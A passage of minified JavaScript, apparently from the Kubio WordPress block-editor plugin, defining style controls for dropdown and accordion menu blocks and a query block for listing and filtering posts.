color","kubio"),path:"border.bottom.color",...i,state:"normal"}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Divider thickness","kubio"),path:"border.bottom.width",...i,state:"normal"})]})]}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.RangeWithUnitControl,{label:(0,We.__)("Dropdown icon spacing","kubio"),value:r("margin","left",bS),onChange:l("margin",["left","right"],bS)}),(0,Je.jsx)(ut.RangeWithUnitControl,{label:(0,We.__)("Dropdown icon size","kubio"),value:s("width",bS),onChange:((e,t=mS)=>n=>{e.forEach((e=>{o.setStyle(e,n,{type:Ne.WithDataPathTypes.STYLE,styledComponent:t})}))})(["width","height"],bS)})]})})),Ww=[{label:(0,We.__)("Normal","kubio"),value:"normal"},{label:(0,We.__)("Hover","kubio"),value:"hover"},{label:(0,We.__)("Active","kubio"),value:"menuButtonActive"}],Hw=[{label:(0,We.__)("None","kubio"),value:"none"},{label:(0,We.__)("Solid","kubio"),value:"solid"},{label:(0,We.__)("Dashed","kubio"),value:"dashed"},{label:(0,We.__)("Dotted","kubio"),value:"dotted"},{label:(0,We.__)("Double","kubio"),value:"double"},{label:(0,We.__)("Groove","kubio"),value:"groove"},{label:(0,We.__)("Ridge","kubio"),value:"ridge"},{label:(0,We.__)("Inset","kubio"),value:"inset"},{label:(0,We.__)("Outset","kubio"),value:"outset"}],Gw=(0,De.compose)((0,Ne.withComputedData)(),(0,Ne.withObserveOtherBlocks)(((e,{menuClientId:t})=>t)))((({menuName:e,menuClientId:t,dataHelper:o})=>{const[n,a]=(0,op.useSessionProp)(t,"submenu_button_state","normal"),i=(Ne.WithDataPathTypes.STYLE,Ne.WithDataPathTypes.STYLE,{type:Ne.WithDataPathTypes.STYLE,style:kS,state:"normal"===n?void 0:n}),r={type:Ne.WithDataPathTypes.STYLE,style:gS},s=(e,t,n=yS)=>null==o?void 0:o.getStyle(`${e}.${t}`,"",{type:Ne.WithDataPathTypes.STYLE,styledComponent:n}),l=(e,t=yS)=>null==o?void 0:o.getStyle(e,"",{type:Ne.WithDataPathTypes.STYLE,styledComponent:t}),u=e===hn.ACCORDION_MENU,c=(e,t,n=yS)=>a=>{const i=null==o?void 0:o.getStyle(e),r={};a={unit:"px",value:"",...a},t.forEach((e=>r[e]=a)),o.setStyle(e,{...i,...r},{type:Ne.WithDataPathTypes.STYLE,styledComponent:n})},p=null==o?void 0:o.getStyle("height",{value:0,unit:"px"},{type:Ne.WithDataPathTypes.STYLE,styledComponent:_S}).value;return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Submenu Buttons","kubio"),initialOpen:!1,children:[(0,Je.jsx)(ut.ToggleGroup,{options:Ww,value:n,onChange:a}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Background Color","kubio"),type:Ne.WithDataPathTypes.STYLE,path:"background.color",...i}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Text Color","kubio"),type:Ne.WithDataPathTypes.STYLE,path:"color",...i}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{path:"typography",...i,state:"normal"}),u&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Submenu offset","kubio"),units:["px","em"],path:"--kubio-accordion-menu-offset",style:dS,type:Ne.WithDataPathTypes.STYLE,state:"normal"})]}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.RangeWithUnitControl,{label:(0,We.__)("Button horizontal padding","kubio"),value:s("padding","left",kS),onChange:c("padding",["left","right"],kS)}),(0,Je.jsx)(ut.RangeWithUnitControl,{label:(0,We.__)("Button vertical padding","kubio"),value:s("padding","top",kS),onChange:c("padding",["top","bottom"],kS)}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.SelectControlWithPath,{label:(0,We.__)("Divider","kubio"),options:Hw,path:"border.bottom.style",...i,state:"normal"}),"none"!==l("border.bottom.style",kS)&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Divider color","kubio"),path:"border.bottom.color",...i,state:"normal"}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Divider thickness","kubio"),path:"border.bottom.width",...i,state:"normal"})]}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.RangeWithUnitControl,{label:(0,We.__)("Dropdown icon spacing","kubio"),value:s("margin","left",fS),onChange:c("margin",["left","right"],fS)}),(0,Je.jsx)(ut.RangeWithUnitControl,{label:(0,We.__)("Dropdown icon size","kubio"),value:l("width",fS),onChange:((e,t=yS)=>n=>{e.forEach((e=>{o.setStyle(e,n,{type:Ne.WithDataPathTypes.STYLE,styledComponent:t})}))})(["width","height"],fS)}),e===hn.DROPDOWN_MENU&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.RangeControl,{label:(0,We.__)("Submenu spacing","kubio"),value:p,onChange:e=>{o.setStyle("margin.top",(0,Ae.isObject)(e)?e:{value:e,unit:"px"},{type:Ne.WithDataPathTypes.STYLE,styledComponent:vS}),o.setStyle("height",(0,Ae.isObject)(e)?e:{value:e,unit:"px"},{type:Ne.WithDataPathTypes.STYLE,styledComponent:_S})},min:0,max:100}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.BoxShadowWithPath,{label:(0,We.__)("Submenu shadow","kubio"),path:"boxShadow",allowInset:!1,...r})]})]})})),Uw=(0,De.compose)(nS)((({menuClientId:e,menuName:t,menuId:o,menuLocation:n,menuItemsClientId:a,offscreenClientId:i})=>(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsxs)(Oe.DataHelperContextFromClientId,{clientId:e,children:[(0,Je.jsx)(Mw,{menuId:o,location:n,menuClientId:e,menuItemsClientId:a,menuName:t,offscreenClientId:i}),t===hn.DROPDOWN_MENU&&(0,Je.jsx)(Rw,{menuId:o,location:n,menuClientId:e,menuItemsClientId:a,menuName:t,offscreenClientId:i}),(0,Je.jsx)(Gw,{menuId:o,location:n,menuClientId:e,menuItemsClientId:a,menuName:t,offscreenClientId:i})]})}))),Fw=e=>(0,Je.jsx)(Oe.StyleInspectorControls,{children:(0,Je.jsx)(Uw,{...e})}),zw=e=>{const{isSelected:t}=e;return t&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(zS,{...e}),(0,Je.jsx)(Fw,{...e})]})},Vw=(0,Ne.gutentagCompose)((e=>{const t=e.getProp("hoverEffect.type")!==fw&&e.getProp("hoverEffect.type"),o=[t,-1!==Iw.indexOf(t)&&e.getProp("hoverEffect.border.effect"),-1!==Ew.indexOf(t)&&e.getProp("hoverEffect.background.effect")].filter(Boolean);return{offscreenDisplayClass:e.getAttribute("showOffscreenMenuOn")||"has-offcanvas-mobile",effectClasses:o}}),(({computed:e={}}={})=>{const{offscreenDisplayClass:t,effectClasses:o}=e;return{[Aw]:{className:()=>[t,...o]}}})),Yw=Vw((e=>{const{clientId:t,StyledElements:o,attributes:n}=e,{showOffscreenMenuOn:a}=n,i=JT(t),r=(0,Ne.useUndoTrapDispatch)(),{updateBlockAttributes:s}=(0,Le.useDispatch)("core/block-editor");(0,Me.useEffect)((()=>{const e=0===(i||"").indexOf("footer-menu");if(!a)if(e){const e=PS;r((()=>s(t,{showOffscreenMenuOn:e,hideSubmenu:!0})))}else r((()=>s(t,{showOffscreenMenuOn:TS})))}),[r,a,i,t,s]);const l=(0,Me.useRef)(),u=bn({ref:l},{templateLock:!1});return(0,Je.jsxs)(BS,{children:[(0,Je.jsx)(zw,{...e}),(0,Je.jsx)(o.Outer,{...u,ref:l})]})})),$w=(0,Sn.extendBlockMeta)({name:"kubio/dropdown-menu",category:"kubio-components",attributes:{kubio:{type:"object"},templateLock:{type:"string"},hideSubmenu:{type:"boolean",default:!1},showOffscreenMenuOn:{type:"string",default:""}},providesContext:{"kubio/hideSubmenu":"hideSubmenu"},supports:{kubio:{default:{style:{descendants:{"sub-menu-a":{border:{bottom:{style:"none"}}}}}},elementsEnum:{SUB_MENU_A:"sub-menu-a",OUTER:"outer",HOVER_EFFECT_BORDER:"hover-effect-border",HOVER_EFFECT_BACKGROUND:"hover-effect-background"},elementsByName:{outer:{default:!0,wrapper:!0,props:{className:["kubio-dropdown-menu","h-ignore-global-body-typography"]}},"hover-effect-border":{selector:"&.bordered-active-item > .kubio-menu > ul > li::before, &.bordered-active-item > .kubio-menu > ul > li::after"},"hover-effect-background":{selector:"&.solid-active-item > .kubio-menu > ul > li::before, &.solid-active-item > .kubio-menu > ul > li::after"}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]},supports:{advanced:{responsive:!0}}}}},{attributes:{hideSubmenu:{type:"boolean",default:!1}},providesContext:{"kubio/hideSubmenu":"hideSubmenu"},supports:{kubio:{default:{style:{descendants:{"main-menu-a":{typography:{decoration:"none"}},"sub-menu-a":{typography:{decoration:"none"}}}}},elementsEnum:{MAIN_MENU_UL:"main-menu-ul",MAIN_MENU_LI:"main-menu-li",MAIN_MENU_A:"main-menu-a",MAIN_MENU_ICON:"main-menu-icon",SUB_MENU_UL:"sub-menu-ul",SUB_MENU_LI:"sub-menu-li",SUB_MENU_A:"sub-menu-a",SUB_MENU_ICON:"sub-menu-icon",FIRST_SUB_MENU_UL_BEFORE:"first-sub-menu-ul-before",FIRST_SUB_MENU_UL:"first-sub-menu-ul"},elementsByName:{"main-menu-ul":{selector:"> .kubio-menu > ul"},"main-menu-li":{selector:{normal:"> .kubio-menu > ul > li"}},"main-menu-a":{selector:{normal:"> .kubio-menu > ul > li > a",hover:"> .kubio-menu > ul > li > a:hover,> .kubio-menu > ul > li > a.hover",menuButtonActive:"> .kubio-menu > ul > li.current-menu-item > a,> .kubio-menu > ul > li.current_page_item > a"}},"main-menu-icon":{selector:"> .kubio-menu > ul > li > a > svg"},"sub-menu-ul":{selector:"> .kubio-menu li > ul"},"sub-menu-li":{selector:{normal:"> .kubio-menu li > ul > li"}},"sub-menu-a":{selector:{normal:"> .kubio-menu li > ul > li> a",hover:"> .kubio-menu li > ul > li > a:hover,> .kubio-menu li > ul > li > a.hover",menuButtonActive:"> .kubio-menu li > ul > li.current-menu-item > a,> .kubio-menu li > ul > li.current_page_item > a"}},"sub-menu-icon":{selector:"> .kubio-menu li > ul > li > a > svg"},"first-sub-menu-ul":{selector:"> .kubio-menu > ul > li > ul"},"first-sub-menu-ul-before":{selector:"> .kubio-menu > ul > li > ul:before"}}}}}),Kw=(0,Sn.extendBlockMeta)($w,{title:(0,We.__)("Dropdown Menu","kubio"),keywords:[(0,We.__)("menu","kubio"),(0,We.__)("dropdown","kubio")],icon:Tn.BlockIcons.DropdownMenu,apiVersion:2,supports:{kubio:{elementsByName:Nw,elementsGroups:CS},reusable:!1,html:!1},edit:Yw,save:()=>(0,Je.jsx)(st.InnerBlocks.Content,{}),variationsFilter:(e,t=!1)=>{var o;return e.innerBlocks=null!=e&&null!==(o=e.innerBlocks)&&void 0!==o&&o.length?e.innerBlocks:[(0,Ne.composeBlockWithStyle)(hn.MENU_ITEMS,{},[],t),(0,Ne.composeBlockWithStyle)(hn.MENU_OFFSCREEN,{},pw(null,t).innerBlocks,t)],e.attributes={...null==e?void 0:e.attributes,showOffscreenMenuOn:""},null!=e&&e.isDefault?{...e,description:kw}:e}}),qw=[hn.MENU_ITEMS],Xw=(0,De.compose)((0,Ne.withColibriDataAutoSave)((()=>{})),(0,Ne.withStyledElements)())((e=>{const{StyledElements:t,clientId:o}=e,n=(0,Me.useRef)(),a=bn({ref:n},{templateLock:!1,allowedBlocks:qw});return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(zw,{...e}),(0,Je.jsx)(t.Outer,{...a,ref:n})]})})),Qw=(0,De.compose)()((()=>(0,Je.jsx)(st.InnerBlocks.Content,{}))),Zw={outer:{label:(0,We.__)("Menu container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.SPACING,jn.StylesEnum.BORDER],states:["normal"]}},...xS},Jw=(0,Sn.extendBlockMeta)({name:"kubio/accordion-menu",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{kubio:{default:{style:{descendants:{"main-menu-a":{border:{bottom:{width:{unit:"px",value:"1"},style:"solid",color:"#808080"},top:{style:"solid",color:"#808080"},left:{style:"solid",color:"#808080"},right:{style:"solid",color:"#808080"}},typography:{size:{value:14,unit:"px"}},padding:{top:{unit:"px",value:"12"},bottom:{unit:"px",value:"12"},left:{unit:"px",value:"40"}}},"sub-menu-a":{border:{bottom:{width:{unit:"px",value:"1"},style:"solid",color:"#808080"},top:{style:"solid",color:"#808080"},left:{style:"solid",color:"#808080"},right:{style:"solid",color:"#808080"}},padding:{top:{unit:"px",value:"12"},bottom:{unit:"px",value:"12"},left:{unit:"px",value:"40"}},typography:{size:{value:14,unit:"px"}}},"main-menu-icon":{padding:{left:{value:20,unit:"px"},right:{value:20,unit:"px"}}},"sub-menu-icon":{padding:{left:{value:20,unit:"px"},right:{value:20,unit:"px"}}},"main-menu-ul":{"--kubio-accordion-menu-offset":{value:10,unit:"px"}}}}},elementsEnum:{OUTER:"outer"},elementsByName:{outer:{default:!0,wrapper:!0,props:{className:["kubio-accordion-menu","h-ignore-global-body-typography"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},{attributes:{hideSubmenu:{type:"boolean",default:!1}},providesContext:{"kubio/hideSubmenu":"hideSubmenu"},supports:{kubio:{default:{style:{descendants:{"main-menu-a":{typography:{decoration:"none"}},"sub-menu-a":{typography:{decoration:"none"}}}}},elementsEnum:{MAIN_MENU_UL:"main-menu-ul",MAIN_MENU_LI:"main-menu-li",MAIN_MENU_A:"main-menu-a",MAIN_MENU_ICON:"main-menu-icon",SUB_MENU_UL:"sub-menu-ul",SUB_MENU_LI:"sub-menu-li",SUB_MENU_A:"sub-menu-a",SUB_MENU_ICON:"sub-menu-icon",FIRST_SUB_MENU_UL_BEFORE:"first-sub-menu-ul-before",FIRST_SUB_MENU_UL:"first-sub-menu-ul"},elementsByName:{"main-menu-ul":{selector:"> .kubio-menu > ul"},"main-menu-li":{selector:{normal:"> .kubio-menu > ul > li"}},"main-menu-a":{selector:{normal:"> .kubio-menu > ul > li > a",hover:"> .kubio-menu > ul > li > a:hover,> .kubio-menu > ul > li > a.hover",menuButtonActive:"> .kubio-menu > ul > li.current-menu-item > a,> .kubio-menu > ul > li.current_page_item > a"}},"main-menu-icon":{selector:"> .kubio-menu > ul > li > a > svg"},"sub-menu-ul":{selector:"> .kubio-menu li > ul"},"sub-menu-li":{selector:{normal:"> .kubio-menu li > ul > li"}},"sub-menu-a":{selector:{normal:"> .kubio-menu li > ul > li> a",hover:"> .kubio-menu li > ul > li > a:hover,> .kubio-menu li > ul > li > a.hover",menuButtonActive:"> .kubio-menu li > ul > li.current-menu-item > a,> .kubio-menu li > ul > li.current_page_item > a"}},"sub-menu-icon":{selector:"> .kubio-menu li > ul > li > a > svg"},"first-sub-menu-ul":{selector:"> .kubio-menu > ul > li > ul"},"first-sub-menu-ul-before":{selector:"> .kubio-menu > ul > li > ul:before"}}}}}),eP=(0,Sn.extendBlockMeta)(Jw,{title:(0,We.__)("Accordion Menu","kubio"),keywords:[(0,We.__)("menu","kubio"),(0,We.__)("accordion","kubio")],icon:Tn.BlockIcons.AccordionMenu,apiVersion:2,supports:{reusable:!1,html:!1,kubio:{elementsByName:Zw,elementsGroups:CS}},edit:Xw,save:Qw,variationsFilter:uw}),tP={MenuItems:X,DropdownMenu:J,AccordionMenu:ee,MenuOffscreen:Q,MenuOffscreenContent:Z},oP=e=>({terms:e,...null==e?void 0:e.reduce(((e,t)=>{const{mapById:o,mapByName:n,names:a}=e;return o[t.id]=t,n[t.name]=t,a.push(t.name),e}),{mapById:{},mapByName:{},names:[]})}),nP=((0,We.__)("Include","kubio"),(0,We.__)("Exclude","kubio"),(0,We.__)("Only","kubio"),{toolbar1:"bold,italic,link,kubioTags",onSetup:e=>{e.addButton("kubioTags",{text:(0,We.__)("Tags","kubio"),type:"menubutton",menu:[{text:(0,We.__)("Post name","kubio"),onclick(){e.insertContent("{post_title}")}}]})}}),aP=(0,De.compose)((0,Le.withSelect)(((e,{clientId:t,name:o})=>{var n,a,i,r;const{getBlock:s,getBlockParents:l,getBlocks:u}=e("core/block-editor");let c=s(t);o!==hn.QUERY&&(c=l(t).map((e=>s(e))).filter((e=>(null==e?void 0:e.name)===hn.QUERY)).pop());const{attributes:p={}}=c||{},d=null===(n=c)||void 0===n?void 0:n.clientId,m=(0,Ae.find)(u(d),{name:hn.LOOP});return{queryAttributes:p,masonryValue:(null==m||null===(a=m.attributes)||void 0===a?void 0:a.masonry)||!1,notFoundMessage:null!==(i=null==m||null===(r=m.attributes)||void 0===r?void 0:r.notFound)&&void 0!==i?i:(0,We.__)("No {post_title} found!","kubio"),queryBlockClientId:d,loopBlockClientId:null==m?void 0:m.clientId}})),(0,Le.withDispatch)(((e,{queryBlockClientId:t,loopBlockClientId:o})=>{const{updateBlockAttributes:n,__unstableMarkLastChangeAsPersistent:a}=e("core/block-editor");return{setQueryAttributes:e=>{const o=(0,Ae.cloneDeep)(e);n(t,o),a()},updateMasonryValue:e=>n(o,{masonry:e}),updateNotFoundMessage:e=>n(o,{notFound:e})}})))((({queryAttributes:e,setQueryAttributes:t,masonryValue:o,updateMasonryValue:n,notFoundMessage:a,updateNotFoundMessage:i})=>{const{useMainQuery:r=!1,query:s={}}=e||{},{order:l,orderBy:u,postType:c="post",sticky:p,author:d,perPage:m,tagIds:h=[],categoryIds:b=[],search:g}=s,y=e=>{const o={...s,...e};t({query:o})},{categories:k,tags:f,postTypes:_,authorList:v}=(0,Le.useSelect)((e=>{var t;const{getEntityRecords:o,getPostTypes:n}=e("core"),a={per_page:100},i=o("taxonomy","category",a),r=o("taxonomy","post_tag",a),s=["attachment"],l=null===(t=n({per_page:-1}))||void 0===t?void 0:t.filter((({viewable:e,slug:t})=>e&&!s.includes(t)));return{categories:oP(i),tags:oP(r),authorList:o("root","user",{per_page:-1}),postTypes:l}}),[]),[x,C]=(0,Me.useState)(!0),[I,E]=(0,Me.useState)(!0),[T,S]=(0,Me.useState)("post"===c),w=(0,Ne.useDeepMemo)((()=>{if(null!=_&&_.length)return _.reduce(((e,t)=>(e[t.slug]=t.taxonomies,e)),{})}),[_]);(0,Me.useEffect)((()=>{if(!w)return;const e=w[c];C(e.includes("category")),E(e.includes("post_tag"))}),[c,w]),(0,Me.useEffect)((()=>{S("post"===c)}),[c]);const P=(e,t)=>o=>{const n=o.reduce(((t,o)=>{var n;const a=(null==o?void 0:o.id)||(null===(n=e.mapByName[o])||void 0===n?void 0:n.id);return a&&t.push(a),t}),[]);y({[t]:n})},A=(P(k,"categoryIds"),P(f,"tagIds"),(0,Ne.useDeepMemo)((()=>{let e=(_||[]).map((({labels:e,slug:t})=>{let o={label:e.singular_name,value:t};return"post"!==t&&(o=(0,lt.addProTagToItem)(o)),o}));return e=(0,lt.sortItemsByPro)(e),e}),[_])),[j,B]=(0,Me.useState)(g),N=(0,Me.useCallback)((0,Ae.debounce)((()=>{g!==j&&y({search:j})}),500),[j]);(0,Me.useEffect)((()=>(N(),N.cancel)),[j,N]);const O=(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.RangeControl,{label:(0,We.__)("Number of items","kubio"),min:1,max:20,step:1,debounceValue:400,onChange:e=>{var t;y({perPage:null!==(t=+e)&&void 0!==t?t:-1})},value:m}),(0,Je.jsx)("div",{className:"kubio-query-control--inline",children:(0,Je.jsx)(Re.QueryControls,{order:l,orderBy:u,onOrderChange:e=>y({order:e}),onOrderByChange:e=>y({orderBy:e})})})]});let R={};return R=(0,Je.jsxs)(Je.Fragment,{children:[O,(0,Je.jsx)(lt.AvailableInPro,{displayModal:!1,urlAtgs:{source:"posts",content:"filtering"}})]}),(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Posts list settings","kubio"),className:"kubio-section-post-list-panel",children:[(0,Je.jsx)(ut.ToggleControl,{label:(0,We.__)("Display as a masonry grid","kubio"),value:o,onChange:n}),(0,Je.jsx)(ut.ToggleControl,{label:(0,We.__)("Enable post filtering","kubio"),value:!r,onChange:e=>t({useMainQuery:!e})}),r&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.TinyMCEControl,{label:(0,We.__)("No posts found text","kubio"),value:a,onChange:i,editorSettings:nP})]})]}),!r&&(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Posts filtering","kubio"),className:"kubio-section-posts-filtering",children:[(0,Je.jsx)(ut.GutentagSelectControl,{options:A,value:c,label:(0,We.__)("Post type","kubio"),onChange:e=>{const t={postType:e};w[e].includes("category")||(t.categoryIds=[]),w[e].includes("post_tag")||(t.tagIds=[]),"post"!==e&&(t.sticky=""),y(t)}}),R]})]})})),iP=e=>{const{attributes:{queryId:t,query:o,useMainQuery:n},context:{postId:a},setAttributes:i}=e,r=(0,De.useInstanceId)(iP),{postsPerPage:s}=(0,Le.useSelect)((e=>{const{getSettings:t}=e("core/block-editor");return{postsPerPage:+t().postsPerPage||3}}),[]),l=(0,st.useBlockProps)();(0,Me.useEffect)((()=>{var e;const t={};!a||null!==(e=o.exclude)&&void 0!==e&&e.length||(t.exclude=[a]),!o.perPage&&s&&(t.perPage=s),Object.keys(t).length&&u(t)}),[o.perPage,o.exclude,a]),(0,Me.useEffect)((()=>{t||n||i({queryId:r})}),[t,r]);const u=e=>{i({query:{...o,...e}})};return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(st.InspectorControls,{children:(0,Je.jsx)(aP,{...e})}),(0,Je.jsx)("div",{...l,children:(0,Je.jsx)(st.InnerBlocks,{renderAppender:!1})})]})},rP=(0,De.compose)((0,Ne.withRemoveOnEmptyInnerBlocks)())(iP),sP={apiVersion:2,name:"kubio/query",category:"kubio-layout",attributes:{queryId:{type:"number"},useMainQuery:{type:"boolean",default:!1},query:{type:"object",default:{perPage:null,pages:1,offset:0,postType:"post",categoryIds:[],tagIds:[],order:"desc",orderBy:"date",author:"",search:"",exclude:[],sticky:""}}},providesContext:{queryId:"queryId",query:"query",useMainQuery:"useMainQuery"},usesContext:["postId"],supports:{inserter:!1,html:!1,kubio:{elementsEnum:{CONTAINER:"container"},elementsByName:{container:{wrapper:!0,default:!0}},template:{type:"element",props:{name:"container"},children:[{type:"wp:InnerBlocks"}]}}}},{name:lP}=sP,uP=(0,Sn.extendBlockMeta)(sP,{title:(0,We.__)("Query","kubio"),description:(0,We.__)("Displays a list of posts as a result of a query.","kubio"),edit:rP,save:()=>(0,Je.jsx)(st.InnerBlocks.Content,{})}),cP="default",pP={default:(0,We.__)("Default","kubio"),odd:(0,We.__)("Odd","kubio"),even:(0,We.__)("Even","kubio")},dP={perPage:null,pages:1,offset:0,postType:"post",categoryIds:[],tagIds:[],order:"desc",orderBy:"date",author:"",search:"",exclude:[],sticky:""},mP=(e,t)=>{const{clientId:o,context:n}=e,{defaultQuery:a}=t,{query:i,useMainQuery:r}=n,[s,l]=(0,Me.useState)(!1);(({loopClientId:e,queryBlockType:t,queryAttributes:o})=>{const{getBlock:n,getBlockRootClientId:a,getBlockIndex:i}=(0,Le.useSelect)((e=>e("core/block-editor"))),{replaceBlock:r}=(0,Le.useDispatch)("core/block-editor"),s=(0,Ne.useUndoTrapDispatch)();(0,Me.useEffect)((()=>{if(!e)return;const l=n(a(e));if(!l||l&&(null==l?void 0:l.name)!==t){let a=null==l?void 0:l.innerBlocks.map((({clientId:e})=>e)).indexOf(e);(0,Ae.isUndefined)(a)&&(a=i(e));const u=(0,gt.createBlock)(t,{query:(0,Ae.merge)(dP,o)},[(0,gt.cloneBlock)(n(e))]);s((()=>r(e,u)))}}),[e])})({loopClientId:o,queryBlockType:a.blockType,queryAttributes:a.attributes});const{entities:u,isLoading:c,kind:p}=(({currentQuery:e={},useMainQuery:t=!1,page:o=1})=>{const n=(0,Ne.useDeepMemo)((()=>e),[e]),[a,i]=(0,Me.useState)(n),r=(0,Le.useSelect)((e=>{var t,o,n,a;return(null===(t=e(Be.STORE_KEY))||void 0===t||null===(o=t.getPage())||void 0===o?void 0:o.path)||(null===(n=e("core/block-editor"))||void 0===n||null===(a=n.getSettings())||void 0===a?void 0:a.siteUrl)}));(0,Fe.useEffectAsync)((async e=>{t&&r&&(i({}),window.fetch((0,Nt.addQueryArgs)(r,{"__kubio-page-query":1})).then((e=>e.json())).then((({data:t})=>{e()&&t&&i({...t})})).catch((e=>{i(n)})))}),[t,r]),(0,Me.useEffect)((()=>{t&&r||Fm()(a,n)||i(n)}),[t,r,n]);const s=(0,Ne.useDeepMemo)((()=>{var e;if((0,Ae.isEmpty)(a))return{};const t={offset:a.perPage?a.perPage*(o-1)+(a.offset||0):0,categories:a.categoryIds||[],tags:a.tagIds||[],order:a.order,orderby:a.orderBy};return a.perPage&&(t.per_page=a.perPage),a.author&&(t.author=a.author),a.search&&(t.search=a.search),null!==(e=a.exclude)&&void 0!==e&&e.length&&(t.exclude=a.exclude),a.sticky&&(t.sticky="only"===a.sticky),{postType:a.postType,mappedQuery:t}}),[a]),{entities:l,isResolving:u,kind:c}=(0,Le.useSelect)((e=>{if((0,Ae.isEmpty)(s))return{entities:[],isResolving:!1};const{postType:t,mappedQuery:o}=s,{getEntityRecords:n,isResolving:a,getEntitiesConfig:i}=e("core");return{entities:n("postType",t,o),isResolving:a("getEntityRecords",["postType",t,o]),kind:(0,Ae.find)(i("postType"),{name:t})}}),[o,s]),p=(0,Ne.useDeepMemo)((()=>l),[l]),[d,m]=(0,Me.useState)(!0),h=(0,Me.useRef)(!1);return(0,Me.useEffect)((()=>{h.current=!1}),[s]),(0,Me.useEffect)((()=>{h.current=!0,p?d&&m(!1):m(!0)}),[p]),(0,Me.useEffect)((()=>{(0,Ae.isEmpty)(s)&&d?m(!1):h.current||d||m(!0)}),[s]),(0,Me.useEffect)((()=>{h.current||m(u)}),[s,u]),{entities:p,isLoading:d,kind:c}})({currentQuery:i,useMainQuery:r}),d=(0,Ne.useDeepMemo)((()=>!(c||null!=u&&u.length)),[c,u]),{templateBlocksBySlug:m,previewInnerBlocks:h}=((e,t,o,n)=>{const{clientId:a}=e,{replaceInnerBlocks:i}=(0,Le.useDispatch)("core/block-editor"),r=(0,Le.useSelect)((e=>e("core/block-editor").getBlocks(a))),s=(0,Ne.useDeepMemo)((()=>r),[r]),l=(0,Ne.useDeepMemo)((()=>(null==t?void 0:t.length)||0),[t]),[u,c]=(0,Me.useState)([]),{templateBlocksBySlug:p,templatesBySlug:d}=(0,Ne.useDeepMemo)((()=>(e=>null==e?void 0:e.reduce(((e,t)=>{const o=t.attributes.slug||"default";return{...e,templateBlocksBySlug:{...e.templateBlocksBySlug,[o]:t},templatesBySlug:{...e.templatesBySlug,[o]:(0,Ze.transformBlockToTemplate)(t)}}}),{templateBlocksBySlug:{},templatesBySlug:{}}))(s)),[s,e.attributes]),m=(0,Ne.useDeepMemo)((()=>d),[d]);return(0,Me.useEffect)((()=>{const e=[];for(let t=0;t<l;t++)if(m[cP]){const o=u[t],n=m[cP];if(o){const a=(0,Ze.transformBlockToTemplate)(o);if(Fm()(a,n)){e.push(u[t]);continue}}e.push((0,Ze.transformTemplateToBlock)(n))}c(e)}),[m,l]),(0,Me.useEffect)((()=>{0!==s.length||n||(0,Ne.asyncSilentDispatch)((()=>i(a,o.map(Ze.refreshBlockStyleRefs).map(Ze.transformTemplateToBlock))))}),[s,a,n]),{templateBlocksBySlug:p,previewInnerBlocks:u}})(e,u,t.defaultLoopTemplates,s),{selectBlock:b,clearSelectedBlock:g}=(0,Le.useDispatch)("core/block-editor"),y=(0,Le.useSelect)((e=>{const{getSelectedBlockClientId:t,getBlockParents:n}=e("core/block-editor");return n(t()).includes(o)||t()===o}),[o]),k=(0,Ne.useDeepCallback)(((e,t)=>{var n,a;e&&null!==(n=m[e])&&void 0!==n&&n.clientId&&b(null===(a=m[e])||void 0===a?void 0:a.clientId),!e&&y&&b(o),t&&g(),l(e)}),[l,m,b,y]);return{isLoading:c,isEmpty:d,previewInnerBlocks:h,entities:u,isEditingTemplate:s,toggleIsEditingTemplate:k,kind:p}},hP=(0,Me.createContext)(),bP=({children:e,...t})=>(0,Je.jsx)(hP.Provider,{value:t,children:e}),gP=[[hn.LOOP_ITEM,{kubio:{style:{descendants:{inner:{margin:{bottom:{value:20,unit:"px"},top:{value:0,unit:"px"}},boxShadow:{enabled:!0,layers:[{color:"rgba(0, 0, 0, 